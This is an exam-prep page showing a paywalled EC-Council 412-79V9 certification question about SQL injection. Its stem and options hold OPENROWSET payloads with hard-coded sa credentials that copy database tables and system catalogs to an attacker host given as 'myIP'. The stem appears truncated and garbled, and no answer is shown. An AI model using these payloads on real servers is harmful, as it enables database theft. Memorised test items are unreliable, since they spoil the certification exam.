EC-Council
412-79V9 · Question #91
412-79V9 Question #91: Real Exam Question with Answer & Explanation
Sign in or unlock 412-79V9 to reveal the answer and full explanation for question #91. The question stem and answer options stay visible for context.
Question
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_sysdatabases') select * from master.dbo.sysdatabases - The query he used to transfer table 1 was: OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.table1 - What query does he need in order to transfer the column?
Options
- AOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_syscolumns') select * from user_database.dbo.systables -
- BOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_syscolumns') select * from user_database.dbo.sysrows -
- COPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_syscolumns') select * from user_database.dbo.syscolumns -
- DOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_syscolumns') select * from user_tables.dbo.syscolumns -
Unlock 412-79V9 to see the answer
You've previewed enough free 412-79V9 questions. Unlock 412-79V9 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.